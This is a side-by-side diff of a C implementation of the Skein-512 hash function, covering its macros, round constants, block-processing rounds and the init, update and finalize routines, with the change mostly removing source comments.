#define SKEIN_T1_BLK_TYPE_OUT_FINAL (SKEIN_T1_BLK_TYPE_OUT | SKEIN_T1_FLAG_FINAL) #define SKEIN_T1_BLK_TYPE_OUT_FINAL (SKEIN_T1_BLK_TYPE_OUT | SKEIN_T1_FLAG_FINAL)
#define SKEIN_VERSION (1) #define SKEIN_VERSION (1)
#ifndef SKEIN_ID_STRING_LE /* allow compile-time personalization */ #ifndef SKEIN_ID_STRING_LE
#define SKEIN_ID_STRING_LE (0x33414853) /* "SHA3" (little-endian)*/ #define SKEIN_ID_STRING_LE (0x33414853) /* "SHA3" (little-endian)*/
#endif #endif
@ -118,7 +98,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#define SKEIN_CFG_STR_LEN (4*8) #define SKEIN_CFG_STR_LEN (4*8)
/* bit field definitions in config block treeInfo word */
#define SKEIN_CFG_TREE_LEAF_SIZE_POS ( 0) #define SKEIN_CFG_TREE_LEAF_SIZE_POS ( 0)
#define SKEIN_CFG_TREE_NODE_SIZE_POS ( 8) #define SKEIN_CFG_TREE_NODE_SIZE_POS ( 8)
#define SKEIN_CFG_TREE_MAX_LEVEL_POS (16) #define SKEIN_CFG_TREE_MAX_LEVEL_POS (16)
@ -132,12 +112,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
(((u64b_t)(node )) << SKEIN_CFG_TREE_NODE_SIZE_POS) | \ (((u64b_t)(node )) << SKEIN_CFG_TREE_NODE_SIZE_POS) | \
(((u64b_t)(maxLvl)) << SKEIN_CFG_TREE_MAX_LEVEL_POS) ) (((u64b_t)(maxLvl)) << SKEIN_CFG_TREE_MAX_LEVEL_POS) )
#define SKEIN_CFG_TREE_INFO_SEQUENTIAL SKEIN_CFG_TREE_INFO(0,0,0) /* use as treeInfo in InitExt() call for sequential processing */ #define SKEIN_CFG_TREE_INFO_SEQUENTIAL SKEIN_CFG_TREE_INFO(0,0,0)
/*
** Skein macros for getting/setting tweak words, etc.
** These are useful for partial input bytes, hash tree init/update, etc.
**/
#define Skein_Get_Tweak(ctxPtr,TWK_NUM) ((ctxPtr)->h.T[TWK_NUM]) #define Skein_Get_Tweak(ctxPtr,TWK_NUM) ((ctxPtr)->h.T[TWK_NUM])
#define Skein_Set_Tweak(ctxPtr,TWK_NUM,tVal) {(ctxPtr)->h.T[TWK_NUM] = (tVal);} #define Skein_Set_Tweak(ctxPtr,TWK_NUM,tVal) {(ctxPtr)->h.T[TWK_NUM] = (tVal);}
@ -146,7 +121,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#define Skein_Set_T0(ctxPtr,T0) Skein_Set_Tweak(ctxPtr,0,T0) #define Skein_Set_T0(ctxPtr,T0) Skein_Set_Tweak(ctxPtr,0,T0)
#define Skein_Set_T1(ctxPtr,T1) Skein_Set_Tweak(ctxPtr,1,T1) #define Skein_Set_T1(ctxPtr,T1) Skein_Set_Tweak(ctxPtr,1,T1)
/* set both tweak words at once */
#define Skein_Set_T0_T1(ctxPtr,T0,T1) \ #define Skein_Set_T0_T1(ctxPtr,T0,T1) \
{ \ { \
Skein_Set_T0(ctxPtr,(T0)); \ Skein_Set_T0(ctxPtr,(T0)); \
@ -156,7 +131,7 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#define Skein_Set_Type(ctxPtr,BLK_TYPE) \ #define Skein_Set_Type(ctxPtr,BLK_TYPE) \
Skein_Set_T1(ctxPtr,SKEIN_T1_BLK_TYPE_##BLK_TYPE) Skein_Set_T1(ctxPtr,SKEIN_T1_BLK_TYPE_##BLK_TYPE)
/* set up for starting with a new type: h.T[0]=0; h.T[1] = NEW_TYPE; h.bCnt=0; */
#define Skein_Start_New_Type(ctxPtr,BLK_TYPE) \ #define Skein_Start_New_Type(ctxPtr,BLK_TYPE) \
{ Skein_Set_T0_T1(ctxPtr,0,SKEIN_T1_FLAG_FIRST | SKEIN_T1_BLK_TYPE_##BLK_TYPE); (ctxPtr)->h.bCnt=0; } { Skein_Set_T0_T1(ctxPtr,0,SKEIN_T1_FLAG_FIRST | SKEIN_T1_BLK_TYPE_##BLK_TYPE); (ctxPtr)->h.bCnt=0; }
@ -164,10 +139,6 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#define Skein_Set_Bit_Pad_Flag(hdr) { (hdr).T[1] |= SKEIN_T1_FLAG_BIT_PAD; } #define Skein_Set_Bit_Pad_Flag(hdr) { (hdr).T[1] |= SKEIN_T1_FLAG_BIT_PAD; }
#define Skein_Set_Tree_Level(hdr,height) { (hdr).T[1] |= SKEIN_T1_TREE_LEVEL(height);} #define Skein_Set_Tree_Level(hdr,height) { (hdr).T[1] |= SKEIN_T1_TREE_LEVEL(height);}
/*****************************************************************
** "Internal" Skein definitions for debugging and error checking
******************************************************************/
#define Skein_Show_Block(bits,ctx,X,blkPtr,wPtr,ksEvenPtr,ksOddPtr) #define Skein_Show_Block(bits,ctx,X,blkPtr,wPtr,ksEvenPtr,ksOddPtr)
#define Skein_Show_Round(bits,ctx,r,X) #define Skein_Show_Round(bits,ctx,r,X)
#define Skein_Show_R_Ptr(bits,ctx,r,X_ptr) #define Skein_Show_R_Ptr(bits,ctx,r,X_ptr)
@ -175,8 +146,8 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#define Skein_Show_Key(bits,ctx,key,keyBytes) #define Skein_Show_Key(bits,ctx,key,keyBytes)
#ifndef SKEIN_ERR_CHECK /* run-time checks (e.g., bad params, uninitialized context)? */ #ifndef SKEIN_ERR_CHECK
#define Skein_Assert(x,retCode)/* default: ignore all Asserts, for performance */ #define Skein_Assert(x,retCode)
#define Skein_assert(x) #define Skein_assert(x)
#elif defined(SKEIN_ASSERT) #elif defined(SKEIN_ASSERT)
#include <assert.h> #include <assert.h>
@ -184,16 +155,12 @@ static int Skein_512_Final (Skein_512_Ctxt_t *ctx, u08b_t * hashVal);
#define Skein_assert(x) assert(x) #define Skein_assert(x) assert(x)
#else #else
#include <assert.h> #include <assert.h>
#define Skein_Assert(x,retCode) { if (!(x)) return retCode; } /* caller error */ #define Skein_Assert(x,retCode) { if (!(x)) return retCode; }
#define Skein_assert(x) assert(x) /* internal error */ #define Skein_assert(x) assert(x)
#endif #endif
/*****************************************************************
** Skein block function constants (shared across Ref and Opt code)
******************************************************************/
enum enum
{ {
/* Skein_512 round rotation constants */
R_512_0_0=46, R_512_0_1=36, R_512_0_2=19, R_512_0_3=37, R_512_0_0=46, R_512_0_1=36, R_512_0_2=19, R_512_0_3=37,
R_512_1_0=33, R_512_1_1=27, R_512_1_2=14, R_512_1_3=42, R_512_1_0=33, R_512_1_1=27, R_512_1_2=14, R_512_1_3=42,
R_512_2_0=17, R_512_2_1=49, R_512_2_2=36, R_512_2_3=39, R_512_2_0=17, R_512_2_1=49, R_512_2_2=36, R_512_2_3=39,
@ -206,28 +173,13 @@ enum
#ifndef SKEIN_ROUNDS #ifndef SKEIN_ROUNDS
#define SKEIN_512_ROUNDS_TOTAL (72) #define SKEIN_512_ROUNDS_TOTAL (72)
#else /* allow command-line define in range 8*(5..14) */ #else
#define SKEIN_512_ROUNDS_TOTAL (8*((((SKEIN_ROUNDS/ 10) + 5) % 10) + 5)) #define SKEIN_512_ROUNDS_TOTAL (8*((((SKEIN_ROUNDS/ 10) + 5) % 10) + 5))
#endif #endif
/*
***************** Pre-computed Skein IVs *******************
**
** NOTE: these values are not "magic" constants, but
** are generated using the Threefish block function.
** They are pre-computed here only for speed; i.e., to
** avoid the need for a Threefish call during Init().
**
** The IV for any fixed hash length may be pre-computed.
** Only the most common values are included here.
**
************************************************************
**/
#define MK_64 SKEIN_MK_64 #define MK_64 SKEIN_MK_64
/* blkSize = 512 bits. hashSize = 256 bits */
const u64b_t SKEIN_512_IV_256[] = const u64b_t SKEIN_512_IV_256[] =
{ {
MK_64(0xCCD044A1,0x2FDB3E13), MK_64(0xCCD044A1,0x2FDB3E13),
@ -241,14 +193,14 @@ const u64b_t SKEIN_512_IV_256[] =
}; };
#ifndef SKEIN_USE_ASM #ifndef SKEIN_USE_ASM
#define SKEIN_USE_ASM (0) /* default is all C code (no ASM) */ #define SKEIN_USE_ASM (0)
#endif #endif
#ifndef SKEIN_LOOP #ifndef SKEIN_LOOP
#define SKEIN_LOOP 001 /* default: unroll 256 and 512, but not 1024 */ #define SKEIN_LOOP 001
#endif #endif
#define BLK_BITS (WCNT*64) /* some useful definitions for code here */ #define BLK_BITS (WCNT*64)
#define KW_TWK_BASE (0) #define KW_TWK_BASE (0)
#define KW_KEY_BASE (3) #define KW_KEY_BASE (3)
#define ks (kw + KW_KEY_BASE) #define ks (kw + KW_KEY_BASE)
@ -260,10 +212,9 @@ const u64b_t SKEIN_512_IV_256[] =
#define DebugSaveTweak(ctx) #define DebugSaveTweak(ctx)
#endif #endif
/***************************** Skein_512 ******************************/
#if !(SKEIN_USE_ASM & 512) #if !(SKEIN_USE_ASM & 512)
static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,size_t blkCnt,size_t byteCntAdd) static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,size_t blkCnt,size_t byteCntAdd)
{ /* do it in C */ {
enum enum
{ {
WCNT = SKEIN_512_STATE_WORDS WCNT = SKEIN_512_STATE_WORDS
@ -271,7 +222,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
#undef RCNT #undef RCNT
#define RCNT (SKEIN_512_ROUNDS_TOTAL/8) #define RCNT (SKEIN_512_ROUNDS_TOTAL/8)
#ifdef SKEIN_LOOP /* configure how much to unroll the loop */ #ifdef SKEIN_LOOP
#define SKEIN_UNROLL_512 (((SKEIN_LOOP)/10)%10) #define SKEIN_UNROLL_512 (((SKEIN_LOOP)/10)%10)
#else #else
#define SKEIN_UNROLL_512 (0) #define SKEIN_UNROLL_512 (0)
@ -279,29 +230,29 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
#if SKEIN_UNROLL_512 #if SKEIN_UNROLL_512
#if (RCNT % SKEIN_UNROLL_512) #if (RCNT % SKEIN_UNROLL_512)
#error "Invalid SKEIN_UNROLL_512" /* sanity check on unroll count */ #error "Invalid SKEIN_UNROLL_512"
#endif #endif
size_t r; size_t r;
u64b_t kw[WCNT+4+RCNT*2]; /* key schedule words : chaining vars + tweak + "rotation"*/ u64b_t kw[WCNT+4+RCNT*2]; /* key schedule words : chaining vars + tweak + "rotation"*/
#else #else
u64b_t kw[WCNT+4]; /* key schedule words : chaining vars + tweak */ u64b_t kw[WCNT+4];
#endif #endif
u64b_t X0,X1,X2,X3,X4,X5,X6,X7; /* local copy of vars, for speed */ u64b_t X0,X1,X2,X3,X4,X5,X6,X7;
u64b_t w [WCNT]; /* local copy of input block */ u64b_t w [WCNT];
#ifdef SKEIN_DEBUG #ifdef SKEIN_DEBUG
const u64b_t *Xptr[8]; /* use for debugging (help compiler put Xn in registers) */ const u64b_t *Xptr[8];
Xptr[0] = &X0; Xptr[1] = &X1; Xptr[2] = &X2; Xptr[3] = &X3; Xptr[0] = &X0; Xptr[1] = &X1; Xptr[2] = &X2; Xptr[3] = &X3;
Xptr[4] = &X4; Xptr[5] = &X5; Xptr[6] = &X6; Xptr[7] = &X7; Xptr[4] = &X4; Xptr[5] = &X5; Xptr[6] = &X6; Xptr[7] = &X7;
#endif #endif
Skein_assert(blkCnt != 0); /* never call with blkCnt == 0! */ Skein_assert(blkCnt != 0);
ts[0] = ctx->h.T[0]; ts[0] = ctx->h.T[0];
ts[1] = ctx->h.T[1]; ts[1] = ctx->h.T[1];
do { do {
/* this implementation only supports 2**64 input bytes (no carry out here) */
ts[0] += byteCntAdd; /* update processed length */
/* precompute the key schedule for this block */ ts[0] += byteCntAdd;
ks[0] = ctx->X[0]; ks[0] = ctx->X[0];
ks[1] = ctx->X[1]; ks[1] = ctx->X[1];
ks[2] = ctx->X[2]; ks[2] = ctx->X[2];
@ -315,11 +266,11 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
ts[2] = ts[0] ^ ts[1]; ts[2] = ts[0] ^ ts[1];
Skein_Get64_LSB_First(w,blkPtr,WCNT); /* get input block in little-endian format */ Skein_Get64_LSB_First(w,blkPtr,WCNT);
DebugSaveTweak(ctx); DebugSaveTweak(ctx);
Skein_Show_Block(BLK_BITS,&ctx->h,ctx->X,blkPtr,w,ks,ts); Skein_Show_Block(BLK_BITS,&ctx->h,ctx->X,blkPtr,w,ks,ts);
X0 = w[0] + ks[0]; /* do the first full key injection */ X0 = w[0] + ks[0];
X1 = w[1] + ks[1]; X1 = w[1] + ks[1];
X2 = w[2] + ks[2]; X2 = w[2] + ks[2];
X3 = w[3] + ks[3]; X3 = w[3] + ks[3];
@ -331,7 +282,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
blkPtr += SKEIN_512_BLOCK_BYTES; blkPtr += SKEIN_512_BLOCK_BYTES;
Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INITIAL,Xptr); Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INITIAL,Xptr);
/* run the rounds */
#define Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ #define Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \
X##p0 += X##p1; X##p1 = RotL_64(X##p1,ROT##_0); X##p1 ^= X##p0; \ X##p0 += X##p1; X##p1 = RotL_64(X##p1,ROT##_0); X##p1 ^= X##p0; \
X##p2 += X##p3; X##p3 = RotL_64(X##p3,ROT##_1); X##p3 ^= X##p2; \ X##p2 += X##p3; X##p3 = RotL_64(X##p3,ROT##_1); X##p3 ^= X##p2; \
@ -339,12 +290,12 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
X##p6 += X##p7; X##p7 = RotL_64(X##p7,ROT##_3); X##p7 ^= X##p6; \ X##p6 += X##p7; X##p7 = RotL_64(X##p7,ROT##_3); X##p7 ^= X##p6; \
#if SKEIN_UNROLL_512 == 0 #if SKEIN_UNROLL_512 == 0
#define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) /* unrolled */ \ #define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \
Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \
Skein_Show_R_Ptr(BLK_BITS,&ctx->h,rNum,Xptr); Skein_Show_R_Ptr(BLK_BITS,&ctx->h,rNum,Xptr);
#define I512(R) \ #define I512(R) \
X0 += ks[((R)+1) % 9]; /* inject the key schedule value */ \ X0 += ks[((R)+1) % 9]; \
X1 += ks[((R)+2) % 9]; \ X1 += ks[((R)+2) % 9]; \
X2 += ks[((R)+3) % 9]; \ X2 += ks[((R)+3) % 9]; \
X3 += ks[((R)+4) % 9]; \ X3 += ks[((R)+4) % 9]; \
@ -353,13 +304,13 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
X6 += ks[((R)+7) % 9] + ts[((R)+2) % 3]; \ X6 += ks[((R)+7) % 9] + ts[((R)+2) % 3]; \
X7 += ks[((R)+8) % 9] + (R)+1; \ X7 += ks[((R)+8) % 9] + (R)+1; \
Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INJECT,Xptr); Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INJECT,Xptr);
#else /* looping version */ #else
#define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ #define R512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \
Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \ Round512(p0,p1,p2,p3,p4,p5,p6,p7,ROT,rNum) \
Skein_Show_R_Ptr(BLK_BITS,&ctx->h,4*(r-1)+rNum,Xptr); Skein_Show_R_Ptr(BLK_BITS,&ctx->h,4*(r-1)+rNum,Xptr);
#define I512(R) \ #define I512(R) \
X0 += ks[r+(R)+0]; /* inject the key schedule value */ \ X0 += ks[r+(R)+0]; \
X1 += ks[r+(R)+1]; \ X1 += ks[r+(R)+1]; \
X2 += ks[r+(R)+2]; \ X2 += ks[r+(R)+2]; \
X3 += ks[r+(R)+3]; \ X3 += ks[r+(R)+3]; \
@ -367,14 +318,14 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
X5 += ks[r+(R)+5] + ts[r+(R)+0]; \ X5 += ks[r+(R)+5] + ts[r+(R)+0]; \
X6 += ks[r+(R)+6] + ts[r+(R)+1]; \ X6 += ks[r+(R)+6] + ts[r+(R)+1]; \
X7 += ks[r+(R)+7] + r+(R) ; \ X7 += ks[r+(R)+7] + r+(R) ; \
ks[r + (R)+8] = ks[r+(R)-1]; /* rotate key schedule */ \ ks[r + (R)+8] = ks[r+(R)-1]; \
ts[r + (R)+2] = ts[r+(R)-1]; \ ts[r + (R)+2] = ts[r+(R)-1]; \
Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INJECT,Xptr); Skein_Show_R_Ptr(BLK_BITS,&ctx->h,SKEIN_RND_KEY_INJECT,Xptr);
for (r=1;r < 2*RCNT;r+=2*SKEIN_UNROLL_512) /* loop thru it */ for (r=1;r < 2*RCNT;r+=2*SKEIN_UNROLL_512)
#endif /* end of looped code definitions */ #endif
{ {
#define R512_8_rounds(R) /* do 8 full rounds */ \ #define R512_8_rounds(R) \
R512(0,1,2,3,4,5,6,7,R_512_0,8*(R)+ 1); \ R512(0,1,2,3,4,5,6,7,R_512_0,8*(R)+ 1); \
R512(2,1,4,7,6,5,0,3,R_512_1,8*(R)+ 2); \ R512(2,1,4,7,6,5,0,3,R_512_1,8*(R)+ 2); \
R512(4,1,6,3,0,5,2,7,R_512_2,8*(R)+ 3); \ R512(4,1,6,3,0,5,2,7,R_512_2,8*(R)+ 3); \
@ -384,7 +335,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
R512(2,1,4,7,6,5,0,3,R_512_5,8*(R)+ 6); \ R512(2,1,4,7,6,5,0,3,R_512_5,8*(R)+ 6); \
R512(4,1,6,3,0,5,2,7,R_512_6,8*(R)+ 7); \ R512(4,1,6,3,0,5,2,7,R_512_6,8*(R)+ 7); \
R512(6,1,0,7,2,5,4,3,R_512_7,8*(R)+ 8); \ R512(6,1,0,7,2,5,4,3,R_512_7,8*(R)+ 8); \
I512(2*(R)+1); /* and key injection */ I512(2*(R)+1);
R512_8_rounds( 0); R512_8_rounds( 0);
@ -437,7 +388,7 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
#endif #endif
} }
/* do the final "feedforward" xor, update context chaining vars */
ctx->X[0] = X0 ^ w[0]; ctx->X[0] = X0 ^ w[0];
ctx->X[1] = X1 ^ w[1]; ctx->X[1] = X1 ^ w[1];
ctx->X[2] = X2 ^ w[2]; ctx->X[2] = X2 ^ w[2];
@ -455,69 +406,59 @@ static void Skein_512_Process_Block(Skein_512_Ctxt_t *ctx,const u08b_t *blkPtr,s
ctx->h.T[1] = ts[1]; ctx->h.T[1] = ts[1];
} }
#endif #endif
/*****************************************************************/
/* 512-bit Skein */
/*****************************************************************/
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* init the context for a straight hashing operation */
static int Skein_512_Init(Skein_512_Ctxt_t *ctx, size_t hashBitLen) static int Skein_512_Init(Skein_512_Ctxt_t *ctx, size_t hashBitLen)
{ {
union union
{ {
u08b_t b[SKEIN_512_STATE_BYTES]; u08b_t b[SKEIN_512_STATE_BYTES];
u64b_t w[SKEIN_512_STATE_WORDS]; u64b_t w[SKEIN_512_STATE_WORDS];
} cfg; /* config block */ } cfg;
Skein_Assert(hashBitLen > 0,SKEIN_BAD_HASHLEN); Skein_Assert(hashBitLen > 0,SKEIN_BAD_HASHLEN);
ctx->h.hashBitLen = hashBitLen; /* output hash bit count */ ctx->h.hashBitLen = hashBitLen;
switch (hashBitLen) switch (hashBitLen)
{ /* use pre-computed values, where available */ {
#ifndef SKEIN_NO_PRECOMP #ifndef SKEIN_NO_PRECOMP
case 256: memcpy(ctx->X,SKEIN_512_IV_256,sizeof(ctx->X)); break; case 256: memcpy(ctx->X,SKEIN_512_IV_256,sizeof(ctx->X)); break;
#endif #endif
default: default:
/* here if there is no precomputed IV value available */
/* build/process the config block, type == CONFIG (could be precomputed) */
Skein_Start_New_Type(ctx,CFG_FINAL); /* set tweaks: T0=0; T1=CFG | FINAL */
cfg.w[0] = Skein_Swap64(SKEIN_SCHEMA_VER); /* set the schema, version */
cfg.w[1] = Skein_Swap64(hashBitLen); /* hash result length in bits */ Skein_Start_New_Type(ctx,CFG_FINAL);
cfg.w[0] = Skein_Swap64(SKEIN_SCHEMA_VER);
cfg.w[1] = Skein_Swap64(hashBitLen);
cfg.w[2] = Skein_Swap64(SKEIN_CFG_TREE_INFO_SEQUENTIAL); cfg.w[2] = Skein_Swap64(SKEIN_CFG_TREE_INFO_SEQUENTIAL);
memset(&cfg.w[3],0,sizeof(cfg) - 3*sizeof(cfg.w[0])); /* zero pad config block */ memset(&cfg.w[3],0,sizeof(cfg) - 3*sizeof(cfg.w[0]));
/* compute the initial chaining values from config block */
memset(ctx->X,0,sizeof(ctx->X)); /* zero the chaining variables */ memset(ctx->X,0,sizeof(ctx->X));
Skein_512_Process_Block(ctx,cfg.b,1,SKEIN_CFG_STR_LEN); Skein_512_Process_Block(ctx,cfg.b,1,SKEIN_CFG_STR_LEN);
break; break;
} }
/* The chaining vars ctx->X are now initialized for the given hashBitLen. */
/* Set up to process the data message portion of the hash (default) */
Skein_Start_New_Type(ctx,MSG); /* T0=0, T1= MSG type */ Skein_Start_New_Type(ctx,MSG);
return SKEIN_SUCCESS; return SKEIN_SUCCESS;
} }
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* process the input bytes */
static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msgByteCnt) static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msgByteCnt)
{ {
size_t n; size_t n;
Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL); /* catch uninitialized context */ Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL);
/* process full blocks, if any */
if (msgByteCnt + ctx->h.bCnt > SKEIN_512_BLOCK_BYTES) if (msgByteCnt + ctx->h.bCnt > SKEIN_512_BLOCK_BYTES)
{ {
if (ctx->h.bCnt) /* finish up any buffered message data */ if (ctx->h.bCnt)
{ {
n = SKEIN_512_BLOCK_BYTES - ctx->h.bCnt; /* # bytes free in buffer b[] */ n = SKEIN_512_BLOCK_BYTES - ctx->h.bCnt;
if (n) if (n)
{ {
Skein_assert(n < msgByteCnt); /* check on our logic here */ Skein_assert(n < msgByteCnt);
memcpy(&ctx->b[ctx->h.bCnt],msg,n); memcpy(&ctx->b[ctx->h.bCnt],msg,n);
msgByteCnt -= n; msgByteCnt -= n;
msg += n; msg += n;
@ -527,10 +468,10 @@ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msg
Skein_512_Process_Block(ctx,ctx->b,1,SKEIN_512_BLOCK_BYTES); Skein_512_Process_Block(ctx,ctx->b,1,SKEIN_512_BLOCK_BYTES);
ctx->h.bCnt = 0; ctx->h.bCnt = 0;
} }
/* now process any remaining full blocks, directly from input message data */
if (msgByteCnt > SKEIN_512_BLOCK_BYTES) if (msgByteCnt > SKEIN_512_BLOCK_BYTES)
{ {
n = (msgByteCnt-1) / SKEIN_512_BLOCK_BYTES; /* number of full blocks to process */ n = (msgByteCnt-1) / SKEIN_512_BLOCK_BYTES;
Skein_512_Process_Block(ctx,msg,n,SKEIN_512_BLOCK_BYTES); Skein_512_Process_Block(ctx,msg,n,SKEIN_512_BLOCK_BYTES);
msgByteCnt -= n * SKEIN_512_BLOCK_BYTES; msgByteCnt -= n * SKEIN_512_BLOCK_BYTES;
msg += n * SKEIN_512_BLOCK_BYTES; msg += n * SKEIN_512_BLOCK_BYTES;
@ -538,7 +479,7 @@ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msg
Skein_assert(ctx->h.bCnt == 0); Skein_assert(ctx->h.bCnt == 0);
} }
/* copy any remaining source message data bytes into b[] */
if (msgByteCnt) if (msgByteCnt)
{ {
Skein_assert(msgByteCnt + ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES); Skein_assert(msgByteCnt + ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES);
@ -548,38 +489,35 @@ static int Skein_512_Update(Skein_512_Ctxt_t *ctx, const u08b_t *msg, size_t msg
return SKEIN_SUCCESS; return SKEIN_SUCCESS;
} }
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* finalize the hash computation and output the result */
static int Skein_512_Final(Skein_512_Ctxt_t *ctx, u08b_t *hashVal) static int Skein_512_Final(Skein_512_Ctxt_t *ctx, u08b_t *hashVal)
{ {
size_t i,n,byteCnt; size_t i,n,byteCnt;
u64b_t X[SKEIN_512_STATE_WORDS]; u64b_t X[SKEIN_512_STATE_WORDS];
Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL); /* catch uninitialized context */ Skein_Assert(ctx->h.bCnt <= SKEIN_512_BLOCK_BYTES,SKEIN_FAIL);
ctx->h.T[1] |= SKEIN_T1_FLAG_FINAL; /* tag as the final block */ ctx->h.T[1] |= SKEIN_T1_FLAG_FINAL;
if (ctx->h.bCnt < SKEIN_512_BLOCK_BYTES) /* zero pad b[] if necessary */ if (ctx->h.bCnt < SKEIN_512_BLOCK_BYTES)
memset(&ctx->b[ctx->h.bCnt],0,SKEIN_512_BLOCK_BYTES - ctx->h.bCnt); memset(&ctx->b[ctx->h.bCnt],0,SKEIN_512_BLOCK_BYTES - ctx->h.bCnt);
Skein_512_Process_Block(ctx,ctx->b,1,ctx->h.bCnt); /* process the final block */ Skein_512_Process_Block(ctx,ctx->b,1,ctx->h.bCnt);
/* now output the result */
byteCnt = (ctx->h.hashBitLen + 7) >> 3; /* total number of output bytes */
/* run Threefish in "counter mode" to generate output */ byteCnt = (ctx->h.hashBitLen + 7) >> 3;
memset(ctx->b,0,sizeof(ctx->b)); /* zero out b[], so it can hold the counter */
memcpy(X,ctx->X,sizeof(X)); /* keep a local copy of counter mode "key" */
memset(ctx->b,0,sizeof(ctx->b));
memcpy(X,ctx->X,sizeof(X));
for (i=0;i*SKEIN_512_BLOCK_BYTES < byteCnt;i++) for (i=0;i*SKEIN_512_BLOCK_BYTES < byteCnt;i++)
{ {
((u64b_t *)ctx->b)[0]= Skein_Swap64((u64b_t) i); /* build the counter block */ ((u64b_t *)ctx->b)[0]= Skein_Swap64((u64b_t) i);
Skein_Start_New_Type(ctx,OUT_FINAL); Skein_Start_New_Type(ctx,OUT_FINAL);
Skein_512_Process_Block(ctx,ctx->b,1,sizeof(u64b_t)); /* run "counter mode" */ Skein_512_Process_Block(ctx,ctx->b,1,sizeof(u64b_t));
n = byteCnt - i*SKEIN_512_BLOCK_BYTES; /* number of output bytes left to go */ n = byteCnt - i*SKEIN_512_BLOCK_BYTES;
if (n >= SKEIN_512_BLOCK_BYTES) if (n >= SKEIN_512_BLOCK_BYTES)
n = SKEIN_512_BLOCK_BYTES; n = SKEIN_512_BLOCK_BYTES;
Skein_Put64_LSB_First(hashVal+i*SKEIN_512_BLOCK_BYTES,ctx->X,n); /* "output" the ctr mode bytes */ Skein_Put64_LSB_First(hashVal+i*SKEIN_512_BLOCK_BYTES,ctx->X,n);
Skein_Show_Final(512,&ctx->h,n,hashVal+i*SKEIN_512_BLOCK_BYTES); Skein_Show_Final(512,&ctx->h,n,hashVal+i*SKEIN_512_BLOCK_BYTES);
memcpy(ctx->X,X,sizeof(X)); /* restore the counter mode key for next time */ memcpy(ctx->X,X,sizeof(X));
} }
return SKEIN_SUCCESS; return SKEIN_SUCCESS;
} }
@ -594,22 +532,22 @@ static size_t Skein_512_API_CodeSize(void)
typedef struct typedef struct
{ {
uint_t statebits; /* 256, 512, or 1024 */ uint_t statebits;
union union
{ {
Skein_Ctxt_Hdr_t h; /* common header "overlay" */ Skein_Ctxt_Hdr_t h;
Skein_512_Ctxt_t ctx_512; Skein_512_Ctxt_t ctx_512;
} u; } u;
} }
hashState; hashState;
/* "incremental" hashing API */
static SkeinHashReturn Init (hashState *state, int hashbitlen); static SkeinHashReturn Init (hashState *state, int hashbitlen);
static SkeinHashReturn Update(hashState *state, const SkeinBitSequence *data, SkeinDataLength databitlen); static SkeinHashReturn Update(hashState *state, const SkeinBitSequence *data, SkeinDataLength databitlen);
static SkeinHashReturn Final (hashState *state, SkeinBitSequence *hashval); static SkeinHashReturn Final (hashState *state, SkeinBitSequence *hashval);
/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/* select the context size and init the context */
static SkeinHashReturn Init(hashState *state, int hashbitlen) static SkeinHashReturn Init(hashState *state, int hashbitlen)
{ {
